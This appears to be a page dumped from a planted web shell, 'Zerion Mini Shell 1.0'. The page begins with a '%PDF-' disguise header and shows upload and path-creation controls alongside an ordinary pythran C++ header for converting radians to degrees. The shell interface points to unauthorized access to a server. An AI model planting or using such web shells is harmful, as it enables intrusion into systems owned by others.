%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/math/
Upload File :
Create Path :
Current File : //proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/math/degrees.hpp

#ifndef PYTHONIC_MATH_DEGREES_HPP
#define PYTHONIC_MATH_DEGREES_HPP

#include "pythonic/include/math/degrees.hpp"

#include "pythonic/utils/functor.hpp"
#include "pythonic/math/pi.hpp"

PYTHONIC_NS_BEGIN

namespace math
{

  template <class T>
  double degrees(T x)
  {
    return (x * 360.) / (2. * pi);
  }
}
PYTHONIC_NS_END

#endif

Zerion Mini Shell 1.0